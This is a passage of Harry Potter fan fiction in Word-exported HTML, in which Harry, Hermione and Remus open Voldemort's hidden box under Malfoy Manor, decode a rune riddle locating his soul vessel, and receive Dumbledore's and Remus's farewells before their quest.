Malfoy flouted Voldemort&#8217;s instructions to kill Hermione, choosing to\nimprison her instead. Hermione managed to escape from the dungeons of Malfoy\nmanor and arrived just in time to stop Voldemort from killing Harry and\nDumbledore, and destroying Hogwarts.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But, upon reflection, Harry had decided that\nHermione&#8217;s so-called &#8216;fling&#8217; with Malfoy was nothing but revolting, and he now\ntold her as much.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;What do you want me to say? That I still love\nhim?&#8221; Hermione said hotly. &#8220;Give it a rest&#8212; it&#8217;s in the past. I don&#8217;t even\nthink about it anymore. It was just a few months, exactly what I called it&#8212; a <i style="mso-bidi-font-style:normal">fling</i>. I&#8217;ve moved on. It meant nothing.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">With that, she slammed the picture face-down\non the mantel. &#8220;Oh, that reminds me. I&#8217;ve been meaning to get rid of this.&#8221; She\npulled a ring &#8211;an engagement ring, with diamonds and emeralds set in silver&#8212;\nout of her pocket and dropped it unceremoniously on the back of the overturned\nphotograph. &#8220;Let&#8217;s go.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry followed her into the drawing room. &#8220;<i style="mso-bidi-font-style:normal">Wingardium</i><i style="mso-bidi-font-style:normal"> leviosa,</i>&#8221;\nsaid Hermione. The elaborate area rug and everything on it was lifted into the\nair by her powerful levitation charm. Taking small steps, Harry slowly walked\naround the part of the wooden floor that the rug had covered. One of his steps\nmade a different sound than the others&#8212; he had found a hollow floorboard. Using\nthe Reductor curse, Harry was able to blast away the\nwooden plank that covered a gaping hole in the floor.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry plunged recklessly in; he fell down what\nseemed to be a nearly vertical stone chute, tearing his robes on bits of jagged\nrock sticking out from the walls. &#8220;Careful, it&#8217;s sharp,&#8221; he called up to\nHermione and Remus, who descended more carefully than Harry had.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Remus spotted torches hanging on the walls and\nlit them so that they could see. Harry had never seen so many strange and\nmenacing-looking things; the closest to this place that he had ever been to was\nKnockturn Alley.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He shivered, unsure whether the cold was\ncaused by the depth of the chamber, or by the evil aura coming from the\nmysterious objects. His instincts as well as his Auror training told him not to\ntouch anything. However, the others&#8217; qualms gave in to their curiosity&#8212;\nHermione was unable to resist opening an ancient Dark Arts book that she found,\nand Remus was staring intently at a box on a shelf.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry, Hermione, come take a look at this.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione set the book down and followed Harry\nacross the chamber. Harry observed the object Remus was looking at. It appeared\nto be a cube of pure silver, the size of a shoebox. Harry picked it up off its\nshelf. Judging by its light weight, the box was hollow. Indeed, when he flipped\nit to one side, they could hear something rattling around inside.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione excitedly voiced the thought that had\nbeen running through Harry&#8217;s head, &#8220;What if that&#8217;s the Orb in there?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;There&#8217;s only one way to find out,&#8221; said\nRemus. &#8220;Open it, Harry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry would have done so, if there had been a\nway. But every side of the cube was solid silver, not a seam or crack in the\nentire thing. Harry said, &#8220;I don&#8217;t know how&#8212; you try.&#8221; He held the box out to\nRemus, who jumped backwards in alarm. Hermione leapt forward and grabbed it out\nof Harry&#8217;s hands.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<i style="mso-bidi-font-style:normal">Harry</i>!\nBe careful! You could have killed him!&#8221; said Hermione. Seeing the blank look on\nhis face, she said exasperatedly, &#8220;Didn&#8217;t you ever pay attention in school?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;No,&#8221; said Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione snorted. &#8220;Well, at least you&#8217;ll admit\nit. Werewolves are allergic to silver, remember?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Oh&#8212; right,&#8221; said Harry, feeling foolish.\n&#8220;Sorry about that, Remus.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Don&#8217;t worry about it,&#8221; replied Remus faintly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Meanwhile, Hermione had set the box on the\nground and was kneeling beside it.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<i style="mso-bidi-font-style:\nnormal">Aparecium</i>,&#8221; she said, tapping a side of the cube three times\nwith her wand. Green ink was spreading across the cube, but it formed neither a\nlid to the box nor instructions to open it. Instead, all that appeared was a\nthin ink snake, which wrapped itself once all the way around the cube. Hermione\ntried to pry the box open along the lines that the image of the snake formed,\nbut it wouldn&#8217;t budge. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry had a sudden inspiration. Crouching down\nnext to Hermione, he looked the tiny snake right in its miniscule eyes. &#8220;Open\nthe box,&#8221; he said, but no words came out. Instead they heard a series of\nhissing sounds; there was a quick flash of green light as the box split open\nalong the ink snake. A large amount of black smoke billowed from the crack.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Brilliant,&#8221; came Remus&#8217;s\nvoice through the smoke. &#8220;Of course&#8230; because only a Parselmouth\ncould open it&#8212; Voldemort thought he was the only one. He <i style="mso-bidi-font-style:\nnormal">was</i> the only one, in fact, when he created this box&#8212; he hadn&#8217;t\ntransferred that gift to you, Harry, because you weren&#8217;t even born yet when he\nrose to power&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">By now the smoke had cleared, and they could\nsee the contents of Voldemort&#8217;s magical box. Heart\npounding, Harry sifted through pieces of old parchment, searching for the\nobject they&#8217;d heard sliding around. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">He found it; to his intense disappointment, it\nwasn&#8217;t an Orb of any sort. It was a ring, a simple silver band, etched with\nstrange carvings and inscriptions. He set it aside, and rummaged through the\nbox again. There was nothing else but parchment in it. He picked up a piece&#8212; it\nwasn&#8217;t even in English. It was some sort of message, written in strange, spiky\ncharacters rather than in letters. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Discouraged, he picked up the ring again and\nexamined it. It seemed quite ordinary&#8212; of course, he knew an object coming from\nVoldemort&#8217;s box must be anything but ordinary.\nThrowing caution to the winds, he placed the ring on his finger. Nothing\nhappened. Baffled, he handed the ring to Hermione, who was examining some of\nthe parchment papers.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">She looked at the ring; to Harry&#8217;s surprise,\nshe raised her eyebrows in an expression of deep interest. &#8220;Wait&#8212; wait a\nmoment, I&#8217;ll be right back!&#8221; She tossed the ring back to Harry and, using the\njagged rocks protruding from the wall as footholds, climbed back up the chute. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">She returned a minute later. Excitedly she\nheld something out to Harry in her hand, which was bloody from climbing the\nsharp stones. It was the engagement ring. Harry turned it over in his hand,\ncomparing it to the ring that they had just found.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;The carvings are identical,&#8221; said Hermione.\nHarry looked more closely&#8212; she was quite right. &#8220;I wonder if it means\nanything.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I have no idea. Is there anything we can do\nwith these?&#8221; He gestured to the parchment documents littering the floor. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione picked up one of the pieces of\nparchment she had been studying earlier. &#8220;It&#8217;s a rune,&#8221; she said, waving it in\nfront of Harry&#8217;s face. &#8220;Judging by the style, it was written relatively\nrecently&#8212; no more than fifty years ago, I&#8217;m sure&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Fifty years ago&#8230; that&#8217;s when Voldemort was\naway, supposedly making himself immortal,&#8221; said Harry\nslowly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Exactly,&#8221; said Hermione with an excited\nsmile. &#8220;I&#8217;ve only studied Ancient Runes, not modern ones, but I think I can\nstill translate it, with a little time in the library.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry wondered exactly how many days or weeks\nshe meant by &#8220;a little time&#8221; in the library.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;These ones are in Latin,&#8221; said Remus from\nacross the room. &#8220;I can translate them for you, if you want.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;That would be great&#8212; thanks, Remus,&#8221; said\nHermione gratefully. She stooped down, gathering all the runes from the floor.\nStraightening up again, she said to Harry, &#8220;Well, come on, then! Let&#8217;s go.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Slipping the rings into his pocket, he\nfollowed her back up the stone chute. They Floo-ed\nback to the Hogwarts library. Hermione dumped her armload of parchment onto the\ntable, which was starting to become quite cluttered with their research. She\nthen dashed off to the Runes section, and later returned with a teetering stack\nof books, which she slammed onto the table. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Deciding to leave the Runes work to Hermione,\nHarry opened the book that he had taken from the Malfoys&#8217;\nchamber (<u>Spells for the Elite and Evil</u>). It was an immense tome&#8212; it\nwould probably take him days to read through. Scowling, he looked up, hoping to\nsee some distraction that would delay his having to read it.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But the first thing he saw was Hermione,\npatiently studying the rune and flipping through various rune dictionaries.\nThis had the opposite effect that Harry had hoped for. <i style="mso-bidi-font-style:\nnormal">Look how hard Hermione&#8217;s working,</i> he told himself fiercely. <i style="mso-bidi-font-style:normal">You&#8217;ve got to help her if you ever want to\nkill Voldemort</i>. Without further hesitation he started on the first chapter\nof <u>Spells for the Elite and Evil</u>. </p>\n\n<p class="MsoNormal">~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Sorry I&#8217;m late.&#8221; Harry strode into Remus&#8217;s living room to find Remus, Hermione, and Professor\nDumbledore all sitting around the empty fireplace. All three of them were\nsmiling.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;What were you talking about?&#8221; Harry asked\ncasually.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You,&#8221; said Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Not sure whether she was teasing, Harry simply\nsat down in the nearest tattered armchair. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;So,&#8221; said Dumbledore, his eyes still\ntwinkling as he watched Harry. &#8220;What&#8217;s this information you wanted to share\nwith us?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;We think we&#8217;ve got the Orb of Slytherin,&#8221;\nHermione said excitedly. She spread some rolls of parchment out on the coffee\ntable in front of them. &#8220;I translated these runes&#8212; they more or less tell us\nwhere the Orb is and how to get it, though it&#8217;s a bit vague. And Harry thinks\nhe&#8217;s found the spell used to create the Orb.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry pulled a crumpled parchment from his\npocket, flattened it out on the table, and started to read the words he&#8217;d\ncarefully copied from <u>Spells for the Elite and Evil</u>. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;The House of the Soul charm is one of the\nmost complicated, difficult, and little-known spells in existence. It is a relatively\nrecent discovery, as the spell is said to be created by an anonymous wizard in\nthe 1950s in Eastern Europe. The House of the Soul\ncharm involves transforming an object to become a vessel in which the life of\none individual is stored, usually the person performing the charm. The\naforesaid individual will only die when the vessel is destroyed. The charm,\nwhich is irreversible without destroying the soul vessel, can be used on any\nhuman and any solid object.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;We&#8217;re safely assuming the &#8216;anonymous wizard&#8217;\nwas Voldemort&#8212; I mean, we know he was in Eastern Europe in the 1950s, and the\nspell&#8217;s name is in English, not Latin or French or any other language,&#8221; added\nHermione.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Brilliant,&#8221; murmured Dumbledore, &#8220;of course,\nwe knew he couldn&#8217;t be killed by <i style="mso-bidi-font-style:\nnormal">Avada</i><i style="mso-bidi-font-style:normal"> Kedavra</i>&#8212; or else he would have died twenty-three years\nago. We tried everything&#8212; poisons, other spells, even Muggle\nweapons. We thought Lord Voldemort was immortal&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;But he&#8217;s not,&#8221; said Hermione triumphantly.\nShe picked up a translated rune and read aloud:</p>\n\n<p class="MsoNormal" style="margin-left:1.5in;text-indent:.5in">&#8220;In a deep black wood<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Amid northern snow and ice<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Not far from frigid sea<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; And castle dark and old<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Is the spot which holds the\ndoor<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To the core of my existence<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But the door will only be\nopened<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; While the night sky is most\nlike day<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The magic that protects it<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Not understood by the rest<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To guarantee my longevity<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; With no fear of my own end<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Behind the door resides my\nonly friend<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Jujenaj,\nlong eluding all others<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; My only friend, at my command<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The first test among many<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The key to the door of which I\nspeak<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Has been hidden along with\nthis<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But its sister remains lost\namong<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Those who do not understand\nher<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I performed all this perfectly<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Unlike others before me<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; My new spell can assure\nforever<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; That I will not know mortal\ndeath.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">She folded up the parchment. &#8220;It actually\nrhymed when it was in Rune form,&#8221; Hermione scoffed. &#8220;Voldemort\nthe poet. Well, he sure thinks a lot of himself, doesn&#8217;t he?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry, marvelling at the vagueness of the\nrune, wondered how Hermione had got any useful information out of Voldemort&#8217;s boasts. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Nearly glowing with\nenthusiasm, Hermione launched into her explanation. &#8220;The real\ngiveaway was the part about the Jujenaj. I went and\nlooked it up&#8212; he was a mythical creature, never seen by any Muggle\nor wizard. But here&#8217;s the thing&#8212; it was said to inhabit only one location&#8212; a\nforest&#8230;&#8221; She shifted her parchments around to reveal a large map of Europe and pointed to\na spot, labelled with flashing purple ink, which appeared to be a tiny island\nin the Arctic Ocean.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">She paused, looking pleased with herself. &#8220;<i style="mso-bidi-font-style:normal">Not understood by the rest</i>,&#8221; she quoted.\n&#8220;That must mean the Parseltongue protections he\nplaced&#8212; really lucky we&#8217;ve got you, Harry. <i style="mso-bidi-font-style:normal">The\ndoor will only be opened while the night sky is most like day</i>. My guess is\nthat this &#8216;door&#8217; is only open at the full moon. I have no idea what the bit\nabout the keys means. And the rest fits with the spell Harry just found.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry stared at her, flabbergasted. He&#8217;d known\nHermione was clever, but this was just unbelievable. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well done, both of you,&#8221; said Dumbledore. His\nexpression became grave. &#8220;There is only one thing left to do now, and that is\nto find the Orb and destroy it. If this is only possible at the full moon, as\nyou believe, then you should set out immediately to give yourselves time enough\nto find the specific spot. The next full moon is close at hand&#8212; am I correct, Remus?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Remus nodded. &#8220;This coming\nFriday.&#8221; He looked as though he was disappointed that he wouldn&#8217;t be\nable to help them. He turned to Hermione. &#8220;Did you read about what the Jujenaj is?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione shook her head. &#8220;I only read that it\nwas a feared Dark creature. And the book said it was just a legend, that it\ndidn&#8217;t exist.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I myself thought it was a legend&#8212; but\napparently, Jujenaj is real,&#8221; Remus said slowly. &#8220;To\nsay it is to be feared is quite an understatement. According to the version of\nthe legend that I heard, it has magical powers equal to that of a real human\nwizard. It is small, quick, and agile. But the biggest problem is that it is\ninvisible.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Invisible?&#8221; Hermione echoed.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry swallowed. This was starting to sound\nimpossible. Hermione looked slightly pale.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;It will be difficult,&#8221; said Dumbledore. <i style="mso-bidi-font-style:normal">Nothing like stating the obvious</i>, Harry\nthought. &#8220;Voldemort surely must have spent a great deal of time and energy\nprotecting the Orb. But I have complete faith in your abilities. My only regret\nis that in my age, I&#8217;m not able to accompany you.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">His light blue eyes moved slowly from Harry,\nto Hermione, and back again. &#8220;Harry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry looked solemnly at his old Headmaster,\nwho said, &#8220;You are a very great gifted and powerful wizard, more like Godric Gryffindor than anyone I have met.&#8221; Harry couldn&#8217;t\nbelieve he was hearing this from Albus Dumbledore,\nthe greatest wizard in the past century and a half. &#8220;I promise you, Harry, that\nyou can do anything you set your mind to.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Dumbledore looked once again at Hermione. &#8220;And Hermione&#8230; of course. The most\nbrilliant student to attend Hogwarts since Tom Riddle himself. But do\nnot forget that you are a Gryffindor as well.&#8221; Hermione blushed furiously.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Your separate talents complement each other.\nYour teamwork will prevail,&#8221; Dumbledore continued, &#8220;as it has always done in\nthe past.&#8221; Hermione and Harry locked eyes briefly; she gave him a warm but edgy\nsmile. Harry&#8217;s stomach flipped&#8212; <i style="mso-bidi-font-style:normal">I must be\ngetting nervous, too</i>, he thought. He certainly was feeling a bit queasy. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Dumbledore stood and shook Harry&#8217;s and\nHermione&#8217;s hand. Then, without a word, he left the room. Harry realised with a\njolt that he may never again see his old Headmaster&#8230;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;We should leave tomorrow,&#8221; Hermione said,\ntrying and failing to sound laid-back and not at all apprehensive about the\ngargantuan task ahead of them. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry nodded; in unison they stood up to\nleave. &#8220;Wait a moment, Harry, I want a word before you go,&#8221; said Remus.\n&#8220;Hermione&#8212;&#8221; Remus crossed the room to where she stood and shook her hand\nbriskly. &#8220;Good luck, and Godspeed.&#8221; Hermione managed\nanother weak smile before walking out the door.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Have a seat, Harry.&#8221; Harry sat down across\nfrom Remus, who asked him, &#8220;Who is Hermione Granger?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry stared; Remus stared intensely back at\nhim. The question seemed like some sort of test&#8212; and Harry had no idea how to\nanswer, so he said the first things that popped into his head.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Er&#8212; she&#8217;s my Auror\npartner&#8230; a brilliant witch, a genius, really&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Remus sighed. Evidently, Harry&#8217;s answer was\nnot what he wanted to hear. There was an uneasy silence before Remus spoke\nagain. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I can&#8217;t make you see how you feel, Harry. But\nnever forget that your heart can&#8217;t lie&#8212; no matter how much you contradict your\nfeelings in your mind, your heart will always win that battle, it&#8217;s always\nright.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;No matter how much you want to think it,\nHarry, love is not a weakness. The only one who truly believes that is Lord\nVoldemort. You may think you believe it too. But you will find that your heart <i style="mso-bidi-font-style:normal">doesn&#8217;t </i>accept that idea, and your heart\nis what counts.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry stood abruptly, frowning. This was no\ntime to be talking about emotions&#8212; in three days&#8217; time he&#8217;d have his chance to\ndestroy Voldemort once and for all. This was no time to start being all sad and\npathetic. &#8220;I&#8217;d best be going,&#8221; he said curtly. &#8220;I&#8217;ve got a big day tomorrow.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Wait.&#8221; Remus grabbed his arm and with his\nother hand pulled a piece of parchment from his pocket and handed it to Harry. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry looked at it. It was written in Latin;\nthe English translation, in Remus&#8217;s neat writing, had\nbeen squeezed between the lines and in the margins. It read:</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The\ntwo depart together, yet separate<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; In\na rush of scarlet wings<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Followed\nby trails of gold<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Leaving\ntheir cold, black pasts behind<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The\ntwo innocents hunt out their predator<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To\ncarry out life&#8217;s plan for them<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To\navenge the long-since lost<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Like\nbrother and sister they start their journey</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Here the paper was torn, as though the words\nhe saw were only half of the whole thing.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Merlin&#8217;s Seventy-ninth Prediction,&#8221; Remus\nexplained. &#8220;I know you and Hermione were never exactly Divination prodigies, so\ndisregard it if you wish. But I won&#8217;t. And we don&#8217;t know the ending yet. You&#8217;ll\nmake it a good ending, right?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry nodded, mainly to appear more confident\nthan he felt.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Of course you will,&#8221; said Remus. &#8220;Good luck, and Godspeed. You know,&#8221; he paused, as though thinking\nof what to say next. &#8220;I think I&#8217;m as proud of you as your father and Sirius\nare&#8212; if that&#8217;s possible.&#8221; He gave Harry a small smile.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Thanks for everything, Remus.&#8221; Harry shook\nhis hand appreciatively. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Anything for the greatest\nAuror ever.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry glowered at him.</p>\n\n\n\n\n\n\n'),
